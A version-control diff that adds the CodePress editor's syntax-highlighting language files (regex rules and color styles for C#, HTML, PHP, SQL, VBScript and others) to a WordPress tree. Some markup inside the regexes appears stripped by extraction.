    |<\/P>)/g, output : ';$1$2' }, // comments + { input : /#CS(.*?)#CE/g, output : '#CS$1#CE' } // Block Comments +] + +Language.snippets = [] + +Language.complete = [ +{ input : '\'',output : '\'$0\'' }, +{ input : '"', output : '"$0"' }, +{ input : '(', output : '\($0\)' }, +{ input : '[', output : '\[$0\]' }, +{ input : '{', output : '{\n\t$0\n}' } +] + +Language.shortcuts = [] diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/codepress/languages/csharp.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/codepress/languages/csharp.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,9 @@ +/* + * CodePress color styles for Java syntax highlighting + * By Edwin de Jonge + */ + +b {color:#7F0055;font-weight:bold;font-style:normal;} /* reserved words */ +a {color:#2A0088;font-weight:bold;font-style:normal;} /* types */ +i, i b, i s {color:#3F7F5F;font-weight:bold;} /* comments */ +s, s b {color:#2A00FF;font-weight:normal;} /* strings */ \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/codepress/languages/csharp.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/codepress/languages/csharp.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,25 @@ +/* + * CodePress regular expressions for C# syntax highlighting + * By Edwin de Jonge + */ + +Language.syntax = [ // C# + { input : /\"(.*?)(\"|
    |<\/P>)/g, output : '"$1$2' }, // strings double quote + { input : /\'(.?)(\'|
    |<\/P>)/g, output : '\'$1$2' }, // strings single quote + { input : /\b(abstract|as|base|break|case|catch|checked|continue|default|delegate|do|else|event|explicit|extern|false|finally|fixed|for|foreach|get|goto|if|implicit|in|interface|internal|is|lock|namespace|new|null|object|operator|out|override|params|partial|private|protected|public|readonly|ref|return|set|sealed|sizeof|static|stackalloc|switch|this|throw|true|try|typeof|unchecked|unsafe|using|value|virtual|while)\b/g, output : '$1' }, // reserved words + { input : /\b(bool|byte|char|class|double|float|int|interface|long|string|struct|void)\b/g, output : '$1' }, // types + { input : /([^:]|^)\/\/(.*?)(//$2$3' }, // comments // + { input : /\/\*(.*?)\*\//g, output : '/*$1*/' } // comments /* */ +]; + +Language.snippets = []; + +Language.complete = [ // Auto complete only for 1 character + {input : '\'',output : '\'$0\'' }, + {input : '"', output : '"$0"' }, + {input : '(', output : '\($0\)' }, + {input : '[', output : '\[$0\]' }, + {input : '{', output : '{\n\t$0\n}' } +]; + +Language.shortcuts = []; \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/codepress/languages/css.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/codepress/languages/css.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,10 @@ +/* + * CodePress color styles for CSS syntax highlighting + */ + +b, b a, b u {color:#000080;} /* tags, ids, classes */ +i, i b, i s, i a, i u {color:gray;} /* comments */ +s, s b {color:#a0a0dd;} /* parameters */ +a {color:#0000ff;} /* keys */ +u {color:red;} /* values */ + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/codepress/languages/css.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/codepress/languages/css.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,23 @@ +/* + * CodePress regular expressions for CSS syntax highlighting + */ + +// CSS +Language.syntax = [ + { input : /(.*?){(.*?)}/g,output : '$1{$2}' }, // tags, ids, classes, values + { input : /([\w-]*?):([^\/])/g,output : '$1:$2' }, // keys + { input : /\((.*?)\)/g,output : '($1)' }, // parameters + { input : /\/\*(.*?)\*\//g,output : '/*$1*/'} // comments +] + +Language.snippets = [] + +Language.complete = [ + { input : '\'',output : '\'$0\'' }, + { input : '"', output : '"$0"' }, + { input : '(', output : '\($0\)' }, + { input : '[', output : '\[$0\]' }, + { input : '{', output : '{\n\t$0\n}' } +] + +Language.shortcuts = [] diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/codepress/languages/generic.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/codepress/languages/generic.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,9 @@ +/* + * CodePress color styles for generic syntax highlighting + */ + +b {color:#7F0055;font-weight:bold;} /* reserved words */ +u {color:darkblue;font-weight:bold;} /* special words */ +i, i b, i s, i u, i em {color:green;font-weight:normal;} /* comments */ +s, s b, s em {color:#2A00FF;font-weight:normal;} /* strings */ +em {font-weight:bold;} /* special chars */ \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/codepress/languages/generic.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/codepress/languages/generic.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,25 @@ +/* + * CodePress regular expressions for generic syntax highlighting + */ + +// generic languages +Language.syntax = [ + { input : /\"(.*?)(\"|
    |<\/P>)/g, output : '"$1$2' }, // strings double quote + { input : /\'(.*?)(\'|
    |<\/P>)/g, output : '\'$1$2' }, // strings single quote + { input : /\b(abstract|continue|for|new|switch|default|goto|boolean|do|if|private|this|break|double|protected|throw|byte|else|import|public|throws|case|return|catch|extends|int|short|try|char|final|interface|static|void|class|finally|long|const|float|while|function|label)\b/g, output : '$1' }, // reserved words + { input : /([\(\){}])/g, output : '$1' }, // special chars; + { input : /([^:]|^)\/\/(.*?)(//$2$3' }, // comments // + { input : /\/\*(.*?)\*\//g, output : '/*$1*/' } // comments /* */ +] + +Language.snippets = [] + +Language.complete = [ + { input : '\'', output : '\'$0\'' }, + { input : '"', output : '"$0"' }, + { input : '(', output : '\($0\)' }, + { input : '[', output : '\[$0\]' }, + { input : '{', output : '{\n\t$0\n}' } +] + +Language.shortcuts = [] diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/codepress/languages/html.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/codepress/languages/html.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,13 @@ +/* + * CodePress color styles for HTML syntax highlighting + */ + +b {color:#000080;} /* tags */ +ins, ins b, ins s, ins em {color:gray;} /* comments */ +s, s b {color:#7777e4;} /* attribute values */ +a {color:green;} /* links */ +u {color:#E67300;} /* forms */ +big {color:#db0000;} /* images */ +em, em b {color:#800080;} /* style */ +strong {color:#800000;} /* script */ +tt i {color:darkblue;font-weight:bold;} /* script reserved words */ diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/codepress/languages/html.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/codepress/languages/html.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,59 @@ +/* + * CodePress regular expressions for HTML syntax highlighting + */ + +// HTML +Language.syntax = [ + { input : /(<[^!]*?>)/g, output : '$1' }, // all tags + { input : /(<a .*?>|<\/a>)/g, output : '$1' }, // links + { input : /(<img .*?>)/g, output : '$1' }, // images + { input : /(<\/?(button|textarea|form|input|select|option|label).*?>)/g, output : '$1' }, // forms + { input : /(<style.*?>)(.*?)(<\/style>)/g, output : '$1$2$3' }, // style tags + { input : /(<script.*?>)(.*?)(<\/script>)/g, output : '$1$2$3' }, // script tags + { input : /=(".*?")/g, output : '=$1' }, // atributes double quote + { input : /=('.*?')/g, output : '=$1' }, // atributes single quote + { input : /(<!--.*?-->.)/g, output : '$1' }, // comments + { input : /\b(alert|window|document|break|continue|do|for|new|this|void|case|default|else|function|return|typeof|while|if|label|switch|var|with|catch|boolean|int|try|false|throws|null|true|goto)\b/g, output : '$1' } // script reserved words +] + +Language.snippets = [ + { input : 'aref', output : '' }, + { input : 'h1', output : '

    $0

    ' }, + { input : 'h2', output : '

    $0

    ' }, + { input : 'h3', output : '

    $0

    ' }, + { input : 'h4', output : '

    $0

    ' }, + { input : 'h5', output : '
    $0
    ' }, + { input : 'h6', output : '
    $0
    ' }, + { input : 'html', output : '\n\t$0\n' }, + { input : 'head', output : '\n\t\n\t$0\n\t\n' }, + { input : 'img', output : '' }, + { input : 'input', output : '' }, + { input : 'label', output : '' }, + { input : 'legend', output : '\n\t$0\n' }, + { input : 'link', output : '' }, + { input : 'base', output : '' }, + { input : 'body', output : '\n\t$0\n' }, + { input : 'css', output : '' }, + { input : 'div', output : '
    \n\t$0\n
    ' }, + { input : 'divid', output : '
    \n\t\n
    ' }, + { input : 'dl', output : '
    \n\t
    \n\t\t$0\n\t
    \n\t
    \n
    ' }, + { input : 'fieldset', output : '
    \n\t$0\n
    ' }, + { input : 'form', output : '
    \n\t\n
    ' }, + { input : 'meta', output : '' }, + { input : 'p', output : '

    $0

    ' }, + { input : 'script', output : '' }, + { input : 'scriptsrc', output : '' }, + { input : 'span', output : '$0' }, + { input : 'table', output : '\n\t\n\t\n
    ' }, + { input : 'style', output : '' } +] + +Language.complete = [ + { input : '\'',output : '\'$0\'' }, + { input : '"', output : '"$0"' }, + { input : '(', output : '\($0\)' }, + { input : '[', output : '\[$0\]' }, + { input : '{', output : '{\n\t$0\n}' } +] + +Language.shortcuts = [] diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/codepress/languages/java.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/codepress/languages/java.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,7 @@ +/* + * CodePress color styles for Java syntax highlighting + */ + +b {color:#7F0055;font-weight:bold;font-style:normal;} /* reserved words */ +i, i b, i s {color:#3F7F5F;font-weight:bold;} /* comments */ +s, s b {color:#2A00FF;font-weight:normal;} /* strings */ diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/codepress/languages/java.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/codepress/languages/java.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,24 @@ +/* + * CodePress regular expressions for Java syntax highlighting + */ + +// Java +Language.syntax = [ + { input : /\"(.*?)(\"|
    |<\/P>)/g, output : '"$1$2'}, // strings double quote + { input : /\'(.*?)(\'|
    |<\/P>)/g, output : '\'$1$2'}, // strings single quote + { input : /\b(abstract|continue|for|new|switch|assert|default|goto|package|synchronized|boolean|do|if|private|this|break|double|implements|protected|throw|byte|else|import|public|throws|case|enum|instanceof|return|transient|catch|extends|int|short|try|char|final|interface|static|void|class|finally|long|strictfp|volatile|const|float|native|super|while)\b/g, output : '$1'}, // reserved words + { input : /([^:]|^)\/\/(.*?)(//$2$3'}, // comments // + { input : /\/\*(.*?)\*\//g, output : '/*$1*/' }// comments /* */ +] + +Language.snippets = [] + +Language.complete = [ + { input : '\'',output : '\'$0\'' }, + { input : '"', output : '"$0"' }, + { input : '(', output : '\($0\)' }, + { input : '[', output : '\[$0\]' }, + { input : '{', output : '{\n\t$0\n}' } +] + +Language.shortcuts = [] diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/codepress/languages/javascript.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/codepress/languages/javascript.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,8 @@ +/* + * CodePress color styles for JavaScript syntax highlighting + */ + +b {color:#7F0055;font-weight:bold;} /* reserved words */ +u {color:darkblue;font-weight:bold;} /* special words */ +i, i b, i s, i u {color:green;font-weight:normal;} /* comments */ +s, s b, s u {color:#2A00FF;font-weight:normal;} /* strings */ diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/codepress/languages/javascript.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/codepress/languages/javascript.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,30 @@ +/* + * CodePress regular expressions for JavaScript syntax highlighting + */ + +// JavaScript +Language.syntax = [ + { input : /\"(.*?)(\"|
    |<\/P>)/g, output : '"$1$2' }, // strings double quote + { input : /\'(.*?)(\'|
    |<\/P>)/g, output : '\'$1$2' }, // strings single quote + { input : /\b(break|continue|do|for|new|this|void|case|default|else|function|return|typeof|while|if|label|switch|var|with|catch|boolean|int|try|false|throws|null|true|goto)\b/g, output : '$1' }, // reserved words + { input : /\b(alert|isNaN|parent|Array|parseFloat|parseInt|blur|clearTimeout|prompt|prototype|close|confirm|length|Date|location|Math|document|element|name|self|elements|setTimeout|navigator|status|String|escape|Number|submit|eval|Object|event|onblur|focus|onerror|onfocus|onclick|top|onload|toString|onunload|unescape|open|valueOf|window|onmouseover)\b/g, output : '$1' }, // special words + { input : /([^:]|^)\/\/(.*?)(//$2$3' }, // comments // + { input : /\/\*(.*?)\*\//g, output : '/*$1*/' } // comments /* */ +] + +Language.snippets = [ + { input : 'dw', output : 'document.write(\'$0\');' }, + { input : 'getid', output : 'document.getElementById(\'$0\')' }, + { input : 'fun', output : 'function $0(){\n\t\n}' }, + { input : 'func', output : 'function $0(){\n\t\n}' } +] + +Language.complete = [ + { input : '\'',output : '\'$0\'' }, + { input : '"', output : '"$0"' }, + { input : '(', output : '\($0\)' }, + { input : '[', output : '\[$0\]' }, + { input : '{', output : '{\n\t$0\n}' } +] + +Language.shortcuts = [] diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/codepress/languages/perl.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/codepress/languages/perl.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,11 @@ +/* + * CodePress color styles for Perl syntax highlighting + * By J. Nick Koston + */ + +b {color:#7F0055;font-weight:bold;} /* reserved words */ +i, i b, i s, i em, i a, i u {color:gray;font-weight:normal;} /* comments */ +s, s b, s a, s em, s u {color:#2A00FF;font-weight:normal;} /* strings */ +a {color:#006700;font-weight:bold;} /* variables */ +em {color:darkblue;font-weight:bold;} /* functions */ +u {font-weight:bold;} /* special chars */ \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/codepress/languages/perl.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/codepress/languages/perl.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,27 @@ +/* + * CodePress regular expressions for Perl syntax highlighting + * By J. Nick Koston + */ + +// Perl +Language.syntax = [ + { input : /\"(.*?)(\"|
    |<\/P>)/g, output : '"$1$2' }, // strings double quote + { input : /\'(.*?)(\'|
    |<\/P>)/g, output : '\'$1$2' }, // strings single quote + { input : /([\$\@\%][\w\.]*)/g, output : '$1' }, // vars + { input : /(sub\s+)([\w\.]*)/g, output : '$1$2' }, // functions + { input : /\b(abs|accept|alarm|atan2|bind|binmode|bless|caller|chdir|chmod|chomp|chop|chown|chr|chroot|close|closedir|connect|continue|cos|crypt|dbmclose|dbmopen|defined|delete|die|do|dump|each|else|elsif|endgrent|endhostent|endnetent|endprotoent|endpwent|eof|eval|exec|exists|exit|fcntl|fileno|find|flock|for|foreach|fork|format|formlinegetc|getgrent|getgrgid|getgrnam|gethostbyaddr|gethostbyname|gethostent|getlogin|getnetbyaddr|getnetbyname|getnetent|getpeername|getpgrp|getppid|getpriority|getprotobyname|getprotobynumber|getprotoent|getpwent|getpwnam|getpwuid|getservbyaddr|getservbyname|getservbyport|getservent|getsockname|getsockopt|glob|gmtime|goto|grep|hex|hostname|if|import|index|int|ioctl|join|keys|kill|last|lc|lcfirst|length|link|listen|LoadExternals|local|localtime|log|lstat|map|mkdir|msgctl|msgget|msgrcv|msgsnd|my|next|no|oct|open|opendir|ordpack|package|pipe|pop|pos|print|printf|push|pwd|qq|quotemeta|qw|rand|read|readdir|readlink|recv|redo|ref|rename|require|reset|return|reverse|rewinddir|rindex|rmdir|scalar|seek|seekdir|select|semctl|semget|semop|send|setgrent|sethostent|setnetent|setpgrp|setpriority|setprotoent|setpwent|setservent|setsockopt|shift|shmctl|shmget|shmread|shmwrite|shutdown|sin|sleep|socket|socketpair|sort|splice|split|sprintf|sqrt|srand|stat|stty|study|sub|substr|symlink|syscall|sysopen|sysread|system|syswritetell|telldir|tie|tied|time|times|tr|truncate|uc|ucfirst|umask|undef|unless|unlink|until|unpack|unshift|untie|use|utime|values|vec|waitpid|wantarray|warn|while|write)\b/g, output : '$1' }, // reserved words + { input : /([\(\){}])/g, output : '$1' }, // special chars + { input : /#(.*?)(
    |<\/P>)/g, output : '#$1$2' } // comments +] + +Language.snippets = [] + +Language.complete = [ + { input : '\'',output : '\'$0\'' }, + { input : '"', output : '"$0"' }, + { input : '(', output : '\($0\)' }, + { input : '[', output : '\[$0\]' }, + { input : '{', output : '{\n\t$0\n}' } +] + +Language.shortcuts = [] diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/codepress/languages/php.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/codepress/languages/php.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,12 @@ +/* + * CodePress color styles for PHP syntax highlighting + */ + +b {color:#000080;} /* tags */ +big, big b, big em, big ins, big s, strong i, strong i b, strong i s, strong i u, strong i a, strong i a u, strong i s u {color:gray;font-weight:normal;} /* comments */ +s, s b, strong s u, strong s cite {color:#5656fa;font-weight:normal;} /* attributes and strings */ +strong a, strong a u {color:#006700;font-weight:bold;} /* variables */ +em {color:#800080;font-style:normal;} /* style */ +ins {color:#800000;} /* script */ +strong u {color:#7F0055;font-weight:bold;} /* reserved words */ +cite, s cite {color:red;font-weight:bold;} /* */ diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/codepress/languages/php.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/codepress/languages/php.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,61 @@ +/* + * CodePress regular expressions for PHP syntax highlighting + */ + +// PHP +Language.syntax = [ + { input : /(<[^!\?]*?>)/g, output : '$1' }, // all tags + { input : /(<style.*?>)(.*?)(<\/style>)/g, output : '$1$2$3' }, // style tags + { input : /(<script.*?>)(.*?)(<\/script>)/g, output : '$1$2$3' }, // script tags + { input : /\"(.*?)(\"|
    |<\/P>)/g, output : '"$1$2' }, // strings double quote + { input : /\'(.*?)(\'|
    |<\/P>)/g, output : '\'$1$2'}, // strings single quote + { input : /(<\?)/g, output : '$1' }, // ' }, // .*?> + { input : /(<\?php|<\?=|<\?|\?>)/g, output : '$1' }, // php tags + { input : /(\$[\w\.]*)/g, output : '$1' }, // vars + { input : /\b(false|true|and|or|xor|__FILE__|exception|__LINE__|array|as|break|case|class|const|continue|declare|default|die|do|echo|else|elseif|empty|enddeclare|endfor|endforeach|endif|endswitch|endwhile|eval|exit|extends|for|foreach|function|global|if|include|include_once|isset|list|new|print|require|require_once|return|static|switch|unset|use|while|__FUNCTION__|__CLASS__|__METHOD__|final|php_user_filter|interface|implements|extends|public|private|protected|abstract|clone|try|catch|throw|this)\b/g, output : '$1' }, // reserved words + { input : /([^:])\/\/(.*?)(//$2$3' }, // php comments // + { input : /([^:])#(.*?)(#$2$3' }, // php comments # + { input : /\/\*(.*?)\*\//g, output : '/*$1*/' }, // php comments /* */ + { input : /(<!--.*?-->.)/g, output : '$1' } // html comments +] + +Language.snippets = [ + { input : 'if', output : 'if($0){\n\t\n}' }, + { input : 'ifelse', output : 'if($0){\n\t\n}\nelse{\n\t\n}' }, + { input : 'else', output : '}\nelse {\n\t' }, + { input : 'elseif', output : '}\nelseif($0) {\n\t' }, + { input : 'do', output : 'do{\n\t$0\n}\nwhile();' }, + { input : 'inc', output : 'include_once("$0");' }, + { input : 'fun', output : 'function $0(){\n\t\n}' }, + { input : 'func', output : 'function $0(){\n\t\n}' }, + { input : 'while', output : 'while($0){\n\t\n}' }, + { input : 'for', output : 'for($0,,){\n\t\n}' }, + { input : 'fore', output : 'foreach($0 as ){\n\t\n}' }, + { input : 'foreach', output : 'foreach($0 as ){\n\t\n}' }, + { input : 'echo', output : 'echo \'$0\';' }, + { input : 'switch', output : 'switch($0) {\n\tcase "": break;\n\tdefault: ;\n}' }, + { input : 'case', output : 'case "$0" : break;' }, + { input : 'ret0', output : 'return false;' }, + { input : 'retf', output : 'return false;' }, + { input : 'ret1', output : 'return true;' }, + { input : 'rett', output : 'return true;' }, + { input : 'ret', output : 'return $0;' }, + { input : 'def', output : 'define(\'$0\',\'\');' }, + { input : '' } +] + +Language.complete = [ + { input : '\'', output : '\'$0\'' }, + { input : '"', output : '"$0"' }, + { input : '(', output : '\($0\)' }, + { input : '[', output : '\[$0\]' }, + { input : '{', output : '{\n\t$0\n}' } +] + +Language.shortcuts = [ + { input : '[space]', output : ' ' }, + { input : '[enter]', output : '
    ' } , + { input : '[j]', output : 'testing' }, + { input : '[7]', output : '&' } +] \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/codepress/languages/ruby.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/codepress/languages/ruby.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,10 @@ +/* + * CodePress color styles for Ruby syntax highlighting + */ + +b {color:#7F0055;font-weight:bold;} /* reserved words */ +i, i b, i s, i em, i a, i u {color:gray;font-weight:normal;} /* comments */ +s, s b, s a, s em, s u {color:#2A00FF;font-weight:normal;} /* strings */ +a {color:#006700;font-weight:bold;} /* variables */ +em {color:darkblue;font-weight:bold;} /* functions */ +u {font-weight:bold;} /* special chars */ \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/codepress/languages/ruby.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/codepress/languages/ruby.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,26 @@ +/* + * CodePress regular expressions for Perl syntax highlighting + */ + +// Ruby +Language.syntax = [ + { input : /\"(.*?)(\"|
    |<\/P>)/g, output : '"$1$2' }, // strings double quote + { input : /\'(.*?)(\'|
    |<\/P>)/g, output : '\'$1$2' }, // strings single quote + { input : /([\$\@\%]+)([\w\.]*)/g, output : '$1$2' }, // vars + { input : /(def\s+)([\w\.]*)/g, output : '$1$2' }, // functions + { input : /\b(alias|and|BEGIN|begin|break|case|class|def|defined|do|else|elsif|END|end|ensure|false|for|if|in|module|next|nil|not|or|redo|rescue|retry|return|self|super|then|true|undef|unless|until|when|while|yield)\b/g, output : '$1' }, // reserved words + { input : /([\(\){}])/g, output : '$1' }, // special chars + { input : /#(.*?)(
    |<\/P>)/g, output : '#$1$2' } // comments +]; + +Language.snippets = [] + +Language.complete = [ + { input : '\'',output : '\'$0\'' }, + { input : '"', output : '"$0"' }, + { input : '(', output : '\($0\)' }, + { input : '[', output : '\[$0\]' }, + { input : '{', output : '{\n\t$0\n}' } +] + +Language.shortcuts = [] diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/codepress/languages/sql.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/codepress/languages/sql.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,10 @@ +/* + * CodePress color styles for SQL syntax highlighting + * By Merlin Moncure + */ + +b {color:#0000FF;font-style:normal;font-weight:bold;} /* reserved words */ +u {color:#FF0000;font-style:normal;} /* types */ +a {color:#CD6600;font-style:normal;font-weight:bold;} /* commands */ +i, i b, i u, i a, i s {color:#A9A9A9;font-weight:normal;font-style:italic;} /* comments */ +s, s b, s u, s a, s i {color:#2A00FF;font-weight:normal;} /* strings */ diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/codepress/languages/sql.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/codepress/languages/sql.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,30 @@ +/* + * CodePress regular expressions for SQL syntax highlighting + * By Merlin Moncure + */ + +// SQL +Language.syntax = [ + { input : /\'(.*?)(\')/g, output : '\'$1$2' }, // strings single quote + { input : /\b(add|after|aggregate|alias|all|and|as|authorization|between|by|cascade|cache|cache|called|case|check|column|comment|constraint|createdb|createuser|cycle|database|default|deferrable|deferred|diagnostics|distinct|domain|each|else|elseif|elsif|encrypted|except|exception|for|foreign|from|from|full|function|get|group|having|if|immediate|immutable|in|increment|initially|increment|index|inherits|inner|input|intersect|into|invoker|is|join|key|language|left|like|limit|local|loop|match|maxvalue|minvalue|natural|nextval|no|nocreatedb|nocreateuser|not|null|of|offset|oids|on|only|operator|or|order|outer|owner|partial|password|perform|plpgsql|primary|record|references|replace|restrict|return|returns|right|row|rule|schema|security|sequence|session|sql|stable|statistics|table|temp|temporary|then|time|to|transaction|trigger|type|unencrypted|union|unique|user|using|valid|value|values|view|volatile|when|where|with|without|zone)\b/gi, output : '$1' }, // reserved words + { input : /\b(bigint|bigserial|bit|boolean|box|bytea|char|character|cidr|circle|date|decimal|double|float4|float8|inet|int2|int4|int8|integer|interval|line|lseg|macaddr|money|numeric|oid|path|point|polygon|precision|real|refcursor|serial|serial4|serial8|smallint|text|timestamp|varbit|varchar)\b/gi, output : '$1' }, // types + { input : /\b(abort|alter|analyze|begin|checkpoint|close|cluster|comment|commit|copy|create|deallocate|declare|delete|drop|end|execute|explain|fetch|grant|insert|listen|load|lock|move|notify|prepare|reindex|reset|restart|revoke|rollback|select|set|show|start|truncate|unlisten|update)\b/gi, output : '$1' }, // commands + { input : /([^:]|^)\-\-(.*?)(--$2$3' } // comments // +] + +Language.snippets = [ + { input : 'select', output : 'select $0 from where ' } +] + +Language.complete = [ + { input : '\'', output : '\'$0\'' }, + { input : '"', output : '"$0"' }, + { input : '(', output : '\($0\)' }, + { input : '[', output : '\[$0\]' }, + { input : '{', output : '{\n\t$0\n}' } +] + +Language.shortcuts = [] + + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/codepress/languages/text.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/codepress/languages/text.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,5 @@ +/* + * CodePress color styles for Text syntax highlighting + */ + +/* do nothing as expected */ diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/codepress/languages/text.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/codepress/languages/text.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,9 @@ +/* + * CodePress regular expressions for Text syntax highlighting + */ + +// plain text +Language.syntax = [] +Language.snippets = [] +Language.complete = [] +Language.shortcuts = [] diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/codepress/languages/vbscript.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/codepress/languages/vbscript.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,71 @@ +/* + * CodePress color styles for ASP-VB syntax highlighting + * By Martin D. Kirk + */ + +/* tags */ +b { + color:#000080; +} +/* comments */ +big, big b, big em, big ins, big s, strong i, strong i b, strong i s, strong i u, strong i a, strong i a u, strong i s u { + color:gray; + font-weight:normal; +} +/* ASP comments */ +strong dfn, strong dfn a,strong dfn var, strong dfn a u, strong dfn u{ + color:gray; + font-weight:normal; +} + /* attributes */ +s, s b, span s u, span s cite, strong span s { + color:#5656fa ; + font-weight:normal; +} + /* strings */ +strong s,strong s b, strong s u, strong s cite { + color:#009900; + font-weight:normal; +} +strong ins{ + color:#000000; + font-weight:bold; +} + /* Syntax */ +strong a, strong a u { + color:#0000FF; + font-weight:; +} + /* Native Keywords */ +strong u { + color:#990099; + font-weight:bold; +} +/* Numbers */ +strong var{ + color:#FF0000; +} +/* ASP Language */ +span{ + color:#990000; + font-weight:bold; +} +strong i,strong a i, strong u i { + color:#009999; +} +/* style */ +em { + color:#800080; + font-style:normal; +} + /* script */ +ins { + color:#800000; + font-weight:bold; +} + +/* */ +cite, s cite { + color:red; + font-weight:bold; +} \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/codepress/languages/vbscript.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/codepress/languages/vbscript.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,117 @@ +/* + * CodePress regular expressions for ASP-vbscript syntax highlighting + */ + +// ASP VBScript +Language.syntax = [ +// all tags + { input : /(<[^!%|!%@]*?>)/g, output : '$1' }, +// style tags + { input : /(<style.*?>)(.*?)(<\/style>)/g, output : '$1$2$3' }, +// script tags + { input : /(<script.*?>)(.*?)(<\/script>)/g, output : '$1$2$3' }, +// strings "" and attributes + { input : /\"(.*?)(\"|
    |<\/P>)/g, output : '"$1$2' }, +// ASP Comment + { input : /\'(.*?)(\'|
